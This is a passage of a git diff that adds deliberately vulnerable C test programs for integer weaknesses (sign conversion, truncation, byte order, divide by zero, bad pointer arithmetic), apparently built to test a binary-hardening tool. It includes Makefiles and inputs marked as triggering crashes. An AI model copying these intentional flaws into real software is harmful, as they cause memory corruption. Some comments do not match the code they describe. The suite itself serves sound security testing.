+CWE_195_Example_3_bad.run: CWE_195_Example_3_bad + ../../../scripts/test.pl $(TESTFLAGS) CWE_195_Example_3_bad.ncexe + +CWE_195_Example_4_bad.ncexe: CWE_195_Example_4_bad.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_195_Example_4_bad.conf + +CWE_195_Example_4_bad: CWE_195_Example_4_bad.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_195_Example_4_bad.ps_analyze.log + cp CWE_195_Example_4_bad.conf CWE_195_Example_4_bad.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_195_Example_4_bad.conf + +CWE_195_Example_4_bad.run: CWE_195_Example_4_bad + ../../../scripts/test.pl $(TESTFLAGS) CWE_195_Example_4_bad.ncexe + +gen: gen.cc + $(CPP) $(CPPFLAGS) $< -o $@ $(LINKOPT) +clean: + rm -f CWE_195_Example_1_bad.ncexe CWE_195_Example_2_bad.ncexe CWE_195_Example_3_bad.ncexe CWE_195_Example_4_bad.ncexe gen + rm -f CWE_195_Example_1_bad CWE_195_Example_2_bad CWE_195_Example_3_bad CWE_195_Example_4_bad + rm -f summary.csv logfail.txt logfile.txt CWE_195_Example_1_bad.asm CWE_195_Example_1_bad.idb CWE_195_Example_1_bad.ncexe* stratafier.o.exe *.conf CWE_195_Example_2_bad.asm CWE_195_Example_2_bad.idb CWE_195_Example_2_bad.ncexe* stratafier.o.exe *.conf CWE_195_Example_3_bad.asm CWE_195_Example_3_bad.idb CWE_195_Example_3_bad.ncexe* stratafier.o.exe *.conf CWE_195_Example_4_bad.asm CWE_195_Example_4_bad.idb CWE_195_Example_4_bad.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log + rm -rf peasoup_executable_directory* + +targets: CWE_195_Example_1_bad.ncexe CWE_195_Example_2_bad.ncexe CWE_195_Example_3_bad.ncexe CWE_195_Example_4_bad.ncexe gen + +analyze: targets CWE_195_Example_1_bad CWE_195_Example_2_bad CWE_195_Example_3_bad CWE_195_Example_4_bad + +runall: CWE_195_Example_1_bad.run CWE_195_Example_2_bad.run CWE_195_Example_3_bad.run CWE_195_Example_4_bad.run + diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/example4_bad.dat b/examples/integerbugs/C1_Number_Handling/CWE_195/example4_bad.dat new file mode 100644 index 0000000000000000000000000000000000000000..2ea4cb14dfbf4b8ac338f9036b73c35c3f8854d5 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_195/example4_bad.dat @@ -0,0 +1 @@ +ýÿ \ No newline at end of file diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/example4_good.dat b/examples/integerbugs/C1_Number_Handling/CWE_195/example4_good.dat new file mode 100644 index 0000000000000000000000000000000000000000..d9caed6061660b36286cdeb7e6d81175e39bfa25 Binary files /dev/null and b/examples/integerbugs/C1_Number_Handling/CWE_195/example4_good.dat differ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_195/gen.cc b/examples/integerbugs/C1_Number_Handling/CWE_195/gen.cc new file mode 100644 index 0000000000000000000000000000000000000000..9d80831e7ec352ec3ed19cbb9a6d7b999fe6abb2 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_195/gen.cc @@ -0,0 +1,21 @@ +#include <stdio.h> +#include <stdlib.h> + +/* +This is used for generating test data and not an actual test +@DRIVER +*/ + +int main(int argc, char **argv) +{ + if (argc < 3) {printf("Usage: gen <reported size> <actual size>\n"); exit(2); } + short n = atoi(argv[1]); + int m = atoi(argv[2]); + char *c = (char *)&n; + + printf ("%c%c", c[0], c[1]); + int i; + for (i = 0; i < m; ++i) printf("x"); +} + + diff --git a/examples/integerbugs/C1_Number_Handling/CWE_196/CWE_196_Example_1_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_196/CWE_196_Example_1_bad.c new file mode 100644 index 0000000000000000000000000000000000000000..b48b89a69306840c5c42abb2684186cc243f8d48 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_196/CWE_196_Example_1_bad.c @@ -0,0 +1,64 @@ +/* + Unsigned to Signed Conversion Error + +Description Summary +An unsigned-to-signed conversion error takes place when a large unsigned +primitive is used as a signed value. + +Common Consequences +Scope Effect +Availability Incorrect sign conversions generally lead to undefined behavior, and + therefore crashes. + +Integrity If a poor cast lead to a buffer overflow or similar condition, data integrity may be affected. + +Integrity Improper signed-to-unsigned conversions without proper checking can + sometimes trigger buffer overflows which can be used to execute + arbitrary code. This is usually outside the scope of a program's implicit + security policy. + +Example 1 +In the following example, it is possible to request that memcpy move a much +larger segment of memory than assumed: +(Bad Code)Example Language: C + +@GOOD_ARGS 1 +@BAD_ARGS -1 +@ATTACK_SUCCEEDED_CODE 139 + +*/ + +#include <stdlib.h> +#include <memory.h> +#include <stdio.h> +#ifdef ASSERT + #include <assert.h> +#endif + + +int returnChunkSize(void * buf, int n) { +/* if chunk info is valid, return the size of usable memory, +* else, return -1 to indicate an error +*/ + return n; +} + +int main(int argc, char **argv) { + char destBuf[512]; + char* srcBuf = "Hello World"; + if (argc < 2) exit(2); + int n = atoi(argv[1]); + memcpy(destBuf, srcBuf, (returnChunkSize(destBuf, n)-1)); +#ifdef ASSERT + assert(isdigit(argv[1][0])); + assert( (sizeof(destBuf) > (returnChunkSize(destBuf, n)-1)) && ((returnChunkSize(destBuf, n)-1) > -1) ); +#endif + exit(0); +} + +/* +If returnChunkSize() happens to encounter an error, and returns -1, +memcpy will assume that the value is unsigned and therefore interpret it as +MAXINT-1, therefore copying far more memory than is likely available in the +destination buffer. +*/ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_196/Makefile b/examples/integerbugs/C1_Number_Handling/CWE_196/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..80f156712c03afe4016c67d066be87f3de687191 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_196/Makefile @@ -0,0 +1,33 @@ +# DO NOT EDIT - This Makefile automatically generated +include ../../Makefile.options +include $(wildcard Makefile.options) + +all: runall + +test: + ../../../scripts/test.pl $(TESTFLAGS) . + +CWE_196_Example_1_bad.ncexe: CWE_196_Example_1_bad.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_196_Example_1_bad.conf + +CWE_196_Example_1_bad: CWE_196_Example_1_bad.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_196_Example_1_bad.ps_analyze.log + cp CWE_196_Example_1_bad.conf CWE_196_Example_1_bad.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_196_Example_1_bad.conf + +CWE_196_Example_1_bad.run: CWE_196_Example_1_bad + ../../../scripts/test.pl $(TESTFLAGS) CWE_196_Example_1_bad.ncexe + +clean: + rm -f CWE_196_Example_1_bad.ncexe + rm -f CWE_196_Example_1_bad + rm -f summary.csv logfail.txt logfile.txt CWE_196_Example_1_bad.asm CWE_196_Example_1_bad.idb CWE_196_Example_1_bad.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log + rm -rf peasoup_executable_directory* + +targets: CWE_196_Example_1_bad.ncexe + +analyze: targets CWE_196_Example_1_bad + +runall: CWE_196_Example_1_bad.run + diff --git a/examples/integerbugs/C1_Number_Handling/CWE_197/CWE_197_Example_1_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_197/CWE_197_Example_1_bad.c new file mode 100644 index 0000000000000000000000000000000000000000..2ec3ba9494e8c813b18714179c723ad995e6b614 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_197/CWE_197_Example_1_bad.c @@ -0,0 +1,75 @@ +/* +Numeric Truncation Error + +Description Summary +Truncation errors occur when a primitive is cast to a primitive of a smaller +size and data is lost in the conversion. + +Extended Description +When a primitive is cast to a smaller primitive, the high order bits of the +large value are lost in the conversion, potentially resulting in an unexpected +value that is not equal to the original value. This value may be required as an +index into a buffer, a loop iterator, or simply necessary state data. In any +case, the value cannot be trusted and the system will be in an undefined state. +While this method may be employed viably to isolate the low bits of a value, +this usage is rare, and truncation usually implies that an implementation error +has occurred. + +Common Consequences +Scope Effect +Integrity The true value of the data is lost and corrupted data is used. + +Example 1 +This example, while not exploitable, shows the possible mangling of values +associated with truncation errors: +(Bad Code)Example Language: C + +@BAD_ARGS 2147483647 +@GOOD_ARGS 22 +@ATTACK_SUCCEEDED_CODE 1 + +*/ + +#include <stdlib.h> +#include <stdio.h> +#ifdef ASSERT + #include <assert.h> +#endif + +int main(int argc, char **argv) +{ + int intPrimitive; + short shortPrimitive; +if(argc != 2 ){ + fprintf(stderr, "usage: %s ipaddres\n", argv[0]); + exit(1); +} + intPrimitive = atoi(argv[1]); +/* +BJM The intial example had this code. I changed it to take a command line arg +This will let there be more bad values. The intened value from this code is +now the Bad_ARGS + + intPrimitive = (int)(~((int)0) ^ (1 << (sizeof(int)*8-1))); +*/ + shortPrimitive = intPrimitive; + printf("Int: %d\nShort: %d\n", intPrimitive, shortPrimitive); +#ifdef ASSERT + assert(intPrimitive == shortPrimitive); +#endif + if (shortPrimitive < 0) exit(1); + exit(0); +} + + +/* +The above code, when compiled and run on certain systems, returns the following output: + +(Result) +Int MAXINT: 2147483647 +Short MAXINT: -1 +This problem may be exploitable when the truncated value is used as an array +index, which can happen implicitly when 64-bit values are used as indexes, as +they are truncated to 32 bits. + +*/ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_197/Makefile b/examples/integerbugs/C1_Number_Handling/CWE_197/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..92d249cca5fcef0ec1639209bb3c81e1a0742a4a --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_197/Makefile @@ -0,0 +1,33 @@ +# DO NOT EDIT - This Makefile automatically generated +include ../../Makefile.options +include $(wildcard Makefile.options) + +all: runall + +test: + ../../../scripts/test.pl $(TESTFLAGS) . + +CWE_197_Example_1_bad.ncexe: CWE_197_Example_1_bad.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_197_Example_1_bad.conf + +CWE_197_Example_1_bad: CWE_197_Example_1_bad.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_197_Example_1_bad.ps_analyze.log + cp CWE_197_Example_1_bad.conf CWE_197_Example_1_bad.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_197_Example_1_bad.conf + +CWE_197_Example_1_bad.run: CWE_197_Example_1_bad + ../../../scripts/test.pl $(TESTFLAGS) CWE_197_Example_1_bad.ncexe + +clean: + rm -f CWE_197_Example_1_bad.ncexe + rm -f CWE_197_Example_1_bad + rm -f summary.csv logfail.txt logfile.txt CWE_197_Example_1_bad.asm CWE_197_Example_1_bad.idb CWE_197_Example_1_bad.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log + rm -rf peasoup_executable_directory* + +targets: CWE_197_Example_1_bad.ncexe + +analyze: targets CWE_197_Example_1_bad + +runall: CWE_197_Example_1_bad.run + diff --git a/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/CVE-2005-2448_CWE_198_EKG.docx b/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/CVE-2005-2448_CWE_198_EKG.docx new file mode 100644 index 0000000000000000000000000000000000000000..065502ddbfcdd6adaf6b7e2c048a4be5976e5b03 Binary files /dev/null and b/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/CVE-2005-2448_CWE_198_EKG.docx differ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/Should_have_the_fixes_ekg-1.6rc3.tar.gz b/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/Should_have_the_fixes_ekg-1.6rc3.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..37c2e214ab2d18c6f141416918aff04d0a1af11d Binary files /dev/null and b/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/Should_have_the_fixes_ekg-1.6rc3.tar.gz differ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.5rc2.tar.gz b/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.5rc2.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..cebe1814a37b127ab21b1673fe682fefc825360b Binary files /dev/null and b/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.5rc2.tar.gz differ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.6rc1.tar.gz b/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.6rc1.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..5de15c25d3e0f152a681a4f8dc5e06bbc07491a5 Binary files /dev/null and b/examples/integerbugs/C1_Number_Handling/CWE_198/CVE-2005-2448_CWE_198_EKG/ekg-1.6rc1.tar.gz differ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_198/Makefile b/examples/integerbugs/C1_Number_Handling/CWE_198/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..5f5aa0afcbc6aa25d39d4cab4197475d676b262c --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_198/Makefile @@ -0,0 +1,45 @@ +# DO NOT EDIT - This Makefile automatically generated +include ../../Makefile.options +include $(wildcard Makefile.options) + +all: runall + +test: + ../../../scripts/test.pl $(TESTFLAGS) . + +use_of_incorrect_byte_order.ncexe: use_of_incorrect_byte_order.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >use_of_incorrect_byte_order.conf + +use_of_incorrect_byte_order: use_of_incorrect_byte_order.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee use_of_incorrect_byte_order.ps_analyze.log + cp use_of_incorrect_byte_order.conf use_of_incorrect_byte_order.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> use_of_incorrect_byte_order.conf + +use_of_incorrect_byte_order.run: use_of_incorrect_byte_order + ../../../scripts/test.pl $(TESTFLAGS) use_of_incorrect_byte_order.ncexe + +use_of_incorrect_byte_order_safe.ncexe: use_of_incorrect_byte_order.c + $(CC) $(CFLAGS) -DSAFE $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) -DSAFE $< -o $@ $(LINKOPT) >use_of_incorrect_byte_order_safe.conf + +use_of_incorrect_byte_order_safe: use_of_incorrect_byte_order_safe.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee use_of_incorrect_byte_order_safe.ps_analyze.log + cp use_of_incorrect_byte_order_safe.conf use_of_incorrect_byte_order_safe.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> use_of_incorrect_byte_order_safe.conf + +use_of_incorrect_byte_order_safe.run: use_of_incorrect_byte_order_safe + ../../../scripts/test.pl $(TESTFLAGS) use_of_incorrect_byte_order_safe.ncexe + +clean: + rm -f use_of_incorrect_byte_order.ncexe use_of_incorrect_byte_order_safe.ncexe + rm -f use_of_incorrect_byte_order use_of_incorrect_byte_order_safe + rm -f summary.csv logfail.txt logfile.txt use_of_incorrect_byte_order.asm use_of_incorrect_byte_order.idb use_of_incorrect_byte_order.ncexe* stratafier.o.exe *.conf use_of_incorrect_byte_order_safe.asm use_of_incorrect_byte_order_safe.idb use_of_incorrect_byte_order_safe.ncexe* $(CLEANEXTRAS) *.ps_analyze.log + rm -rf peasoup_executable_directory* + +targets: use_of_incorrect_byte_order.ncexe use_of_incorrect_byte_order_safe.ncexe + +analyze: targets use_of_incorrect_byte_order use_of_incorrect_byte_order_safe + +runall: use_of_incorrect_byte_order.run use_of_incorrect_byte_order_safe.run + diff --git a/examples/integerbugs/C1_Number_Handling/CWE_198/use_of_incorrect_byte_order.c b/examples/integerbugs/C1_Number_Handling/CWE_198/use_of_incorrect_byte_order.c new file mode 100644 index 0000000000000000000000000000000000000000..c78fca9bb19eca11bd847877573b0212804ddb8f --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_198/use_of_incorrect_byte_order.c @@ -0,0 +1,89 @@ +/* +Use of Incorrect Byte Ordering +Description Summary + +The software receives input from an upstream component, but it does not account +for byte ordering (e.g. big-endian and little-endian) when processing the +input, causing an incorrect number or value to be used. + +from CERT +https://www.securecoding.cert.org/confluence/display/seccode/POS39-C.+Use+the+correct+byte+ordering+when+transferring+data+between+systems + +Non-Compliant Code Example +In this noncompliant code example, the programmer tries to read an unsigned +32-bit integer off a previously connected network socket. + +It is important to know the sizes of your data types lest they be different on +architectures that are accessible over the network. Hence, we transfer a +uint32_t rather than an int. For more information, see recommendation FIO09-C. +Be careful with binary data when transferring data across systems. + +@BAD_ARGS 17 +@ATTACK_SUCCEEDED_CODE 1 +@NORMAL_ERROR_CODE 0 + +*/ + +#include <stdio.h> +#include <stdlib.h> + +// 2-byte number +int SHORT_little_endian_TO_big_endian(int i) +{ + return ((i>>8)&0xff)+((i << 8)&0xff00); +} + +// 4-byte number +int INT_little_endian_TO_big_endian(int i) +{ + return((i&0xff)<<24)+((i&0xff00)<<8)+((i&0xff0000)>>8)+((i>>24)&0xff); +} + +/* converters from Anghel Leonard devx.com */ + +/* +This program prints out the number received from the socket using an incorrect byte ordering. For example, if the value 4 is sent from a big endian machine, and the receiving system is little endian, the value 536,870,912 is read. This problem can be corrected by sending and receiving using network byte ordering. + +Compliant Code Example +In this compliant code example, the programmer uses the ntohl() function to convert the integer from network byte order to host byte ordering. +*/ +/* sock is a connected TCP socket */ + +int getBigEndianInt(int num) +{ + return INT_little_endian_TO_big_endian(num); +} + +int main(int argc, char **argv) +{ + +int num; +num = getBigEndianInt(atoi(argv[1])); + +#ifdef SAFE +num = ntohl(num); +#endif + +printf("We recieved %d from the network!\n", num); +if (num != atoi(argv[1])) exit(1); +exit(0); +} + + +/* +The ntohl() function (network to host long) translates a uint32_t value into +the host byte ordering from the network byte ordering. This function is always +appropriate to use because its implementation depends upon the specific systems +byte ordering. Consequently, on a big endian architecture, ntohl() does +nothing. The reciprocal function htonl() (host to network long) should be used +before sending any data to another system over network protocols. + +Portability Details: +ntohs(), ntohl(), htons(), and htonl() are not part of the C standard and are, +consequently, not guaranteed to be portable to non-POSIX systems. The POSIX +implementations of ntohs(), ntohl(), htons() and htonl() take arguments of +types uint16_t and uint32_t and can be found in the header file <arpa/inet.h>. +The Windows implementations use unsigned short and unsigned long and can be +found in the header file <winsock2.h>. Other variants of ntoht() and htont() +may exist on some systems, such as ntohi()/htoni() or ntohll()/htonll(). +*/ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_369/CWE_369_Example_1_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_369/CWE_369_Example_1_bad.c new file mode 100644 index 0000000000000000000000000000000000000000..249f9484e52cc764ff40e009df012e46088ec38c --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_369/CWE_369_Example_1_bad.c @@ -0,0 +1,49 @@ +/* +Divide By Zero + +Description Summary +The product divides a value by zero. + +Extended Description +This weakness typically occurs when an unexpected value is provided to the +product, or if an error occurs that is not properly detected. It frequently +occurs in calculations involving physical dimensions such as size, length, +width, and height. + +Example 3 +The following C# example contains a function that divides two numeric values +without verifying that the input value used as the denominator is not zero. +This will create an error for attempting to divide by zero, if this error is +not caught by the error handling capabilities of the language, unexpected +results can occur. +(Bad Code)Example Language: C + +@BAD_ARGS 17 0 +@GOOD_ARGS 5 5 +@ATTACK_SUCCEEDED_CODE 136 + +*/ + +#include <stdio.h> +#include <stdlib.h> +#ifdef ASSERT + #include <assert.h> +#endif + +int Division(int x, int y) +{ + return (x / y); +} + +int main(int argc, char **argv) +{ + if (argc < 3) exit(2); + int a = atoi(argv[1]); + int b = atoi(argv[2]); + int c = Division(a, b); +#ifdef ASSERT + assert(b != 0); +#endif + + exit(0); +} diff --git a/examples/integerbugs/C1_Number_Handling/CWE_369/CWE_369_Example_1_good.c b/examples/integerbugs/C1_Number_Handling/CWE_369/CWE_369_Example_1_good.c new file mode 100644 index 0000000000000000000000000000000000000000..8e97d13dcf0096e12ca32f3f5ec461a825f2135d --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_369/CWE_369_Example_1_good.c @@ -0,0 +1,44 @@ +/* +Divide By Zero + +Description Summary +The product divides a value by zero. + +Extended Description +This weakness typically occurs when an unexpected value is provided to the +product, or if an error occurs that is not properly detected. It frequently +occurs in calculations involving physical dimensions such as size, length, +width, and height. + +Example 3 +The following C example contains a function that divides two numeric values +without verifying that the input value used as the denominator is not zero. +This will create an error for attempting to divide by zero, if this error is +not caught by the error handling capabilities of the language, unexpected +results can occur. +(Bad Code)Example Language: C# + +@SAFE +@GOOD_ARGS 5 5 +@BAD_ARGS 17 0 +@NORMAL_ERROR_CODE 0 + +*/ + +#include <stdio.h> +#include <stdlib.h> + +int SafeDivision(int x, int y) +{ + if (y == 0) return 0; + return (x / y); +} + +int main(int argc, char **argv) +{ + if (argc < 3) exit(2); + int a = atoi(argv[1]); + int b = atoi(argv[2]); + int c = SafeDivision(a, b); + exit(0); +} diff --git a/examples/integerbugs/C1_Number_Handling/CWE_369/Makefile b/examples/integerbugs/C1_Number_Handling/CWE_369/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..a2f489b2d773f26250d698b4c8cafa150819e19c --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_369/Makefile @@ -0,0 +1,45 @@ +# DO NOT EDIT - This Makefile automatically generated +include ../../Makefile.options +include $(wildcard Makefile.options) + +all: runall + +test: + ../../../scripts/test.pl $(TESTFLAGS) . + +CWE_369_Example_1_bad.ncexe: CWE_369_Example_1_bad.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_369_Example_1_bad.conf + +CWE_369_Example_1_bad: CWE_369_Example_1_bad.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_369_Example_1_bad.ps_analyze.log + cp CWE_369_Example_1_bad.conf CWE_369_Example_1_bad.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_369_Example_1_bad.conf + +CWE_369_Example_1_bad.run: CWE_369_Example_1_bad + ../../../scripts/test.pl $(TESTFLAGS) CWE_369_Example_1_bad.ncexe + +CWE_369_Example_1_good.ncexe: CWE_369_Example_1_good.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_369_Example_1_good.conf + +CWE_369_Example_1_good: CWE_369_Example_1_good.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_369_Example_1_good.ps_analyze.log + cp CWE_369_Example_1_good.conf CWE_369_Example_1_good.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_369_Example_1_good.conf + +CWE_369_Example_1_good.run: CWE_369_Example_1_good + ../../../scripts/test.pl $(TESTFLAGS) CWE_369_Example_1_good.ncexe + +clean: + rm -f CWE_369_Example_1_bad.ncexe CWE_369_Example_1_good.ncexe + rm -f CWE_369_Example_1_bad CWE_369_Example_1_good + rm -f summary.csv logfail.txt logfile.txt CWE_369_Example_1_bad.asm CWE_369_Example_1_bad.idb CWE_369_Example_1_bad.ncexe* stratafier.o.exe *.conf CWE_369_Example_1_good.asm CWE_369_Example_1_good.idb CWE_369_Example_1_good.ncexe* stratafier.o.exe *.conf $(CLEANEXTRAS) *.ps_analyze.log + rm -rf peasoup_executable_directory* + +targets: CWE_369_Example_1_bad.ncexe CWE_369_Example_1_good.ncexe + +analyze: targets CWE_369_Example_1_bad CWE_369_Example_1_good + +runall: CWE_369_Example_1_bad.run CWE_369_Example_1_good.run + diff --git a/examples/integerbugs/C1_Number_Handling/CWE_682/CWE_682_Example_1_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_682/CWE_682_Example_1_bad.c new file mode 100644 index 0000000000000000000000000000000000000000..1772a5d1cd4496b00b9ac5d76850d95fda021492 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_682/CWE_682_Example_1_bad.c @@ -0,0 +1,37 @@ +/* +Description Summary +The software performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management. + +Extended Description +When software performs a security-critical calculation incorrectly, it might lead to incorrect resource allocations, incorrect privilege assignments, or failed comparisons among other things. Many of the direct results of an incorrect calculation can lead to even larger problems such as failed protection mechanisms or even arbitrary code execution. + +@BAD_ARGS 2000 +@ATTACK_SUCCEEDED_CODE 139 + +*/ + +/*Example 1 + +The following image processing code allocates a table for images. + +(Bad Code)Example Language: C +*/ + +#include<stdlib.h> +//#include<iostream> + +int main(int argc, char** argv){ + + int bank[1000]; + int user = atoi(argv[1]); + int account = user*2+5; //calculation is wrong if input is too negative or too high +// bank[account] = 1234; + + printf("You are trying to access user %d, his account is number %d\n",user,account); + printf("The balance is $%d\n",bank[account]); +} +//... +/* +This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119). + +*/ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_682/CWE_682_Example_3_bad.c b/examples/integerbugs/C1_Number_Handling/CWE_682/CWE_682_Example_3_bad.c new file mode 100644 index 0000000000000000000000000000000000000000..e0cea472ad86fc0773e0f580d1e15cfa3b294091 --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_682/CWE_682_Example_3_bad.c @@ -0,0 +1,38 @@ +/* +Description Summary +The software performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management. + +Extended Description +When software performs a security-critical calculation incorrectly, it might lead to incorrect resource allocations, incorrect privilege assignments, or failed comparisons among other things. Many of the direct results of an incorrect calculation can lead to even larger problems such as failed protection mechanisms or even arbitrary code execution. + +@BAD_ARGS 3 +@ATTACK_SUCCEEDED_CODE 139 + + +Example 3 + +This example, taken from CWE-462, attempts to calculate the position of the second byte of a pointer. + +(Bad Code)Example Language: C +*/ + +//bme:expanading exmaple to be functional + +#include<stdlib.h> + +int main(int argc, char** argv){ + + int p = atoi(argv[1]); + char *second_char; + second_char = (char *)(p+1); + + printf("We know p is %d\n", p); + printf("We found out that the second character of p is %c.\n",*second_char); +} + + + +/* +In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment. + +*/ diff --git a/examples/integerbugs/C1_Number_Handling/CWE_682/Makefile b/examples/integerbugs/C1_Number_Handling/CWE_682/Makefile new file mode 100644 index 0000000000000000000000000000000000000000..8f3a3bde3eeaf408b35ae81f6d7e2fd3b19c90ba --- /dev/null +++ b/examples/integerbugs/C1_Number_Handling/CWE_682/Makefile @@ -0,0 +1,45 @@ +# DO NOT EDIT - This Makefile automatically generated +include ../../Makefile.options +include $(wildcard Makefile.options) + +all: runall + +test: + ../../../scripts/test.pl $(TESTFLAGS) . + +CWE_682_Example_1_bad.ncexe: CWE_682_Example_1_bad.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_682_Example_1_bad.conf + +CWE_682_Example_1_bad: CWE_682_Example_1_bad.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_682_Example_1_bad.ps_analyze.log + cp CWE_682_Example_1_bad.conf CWE_682_Example_1_bad.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_682_Example_1_bad.conf + +CWE_682_Example_1_bad.run: CWE_682_Example_1_bad + ../../../scripts/test.pl $(TESTFLAGS) CWE_682_Example_1_bad.ncexe + +CWE_682_Example_3_bad.ncexe: CWE_682_Example_3_bad.c + $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) + @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_682_Example_3_bad.conf + +CWE_682_Example_3_bad: CWE_682_Example_3_bad.ncexe + sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_682_Example_3_bad.ps_analyze.log + cp CWE_682_Example_3_bad.conf CWE_682_Example_3_bad.ncexe.conf + @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_682_Example_3_bad.conf + +CWE_682_Example_3_bad.run: CWE_682_Example_3_bad + ../../../scripts/test.pl $(TESTFLAGS) CWE_682_Example_3_bad.ncexe + +clean: + rm -f CWE_682_Example_1_bad.ncexe CWE_682_Example_3_bad.ncexe + rm -f CWE_682_Example_1_bad CWE_682_Example_3_bad + rm -f summary.csv logfail.txt logfile.txt CWE_682_Example_1_bad.asm 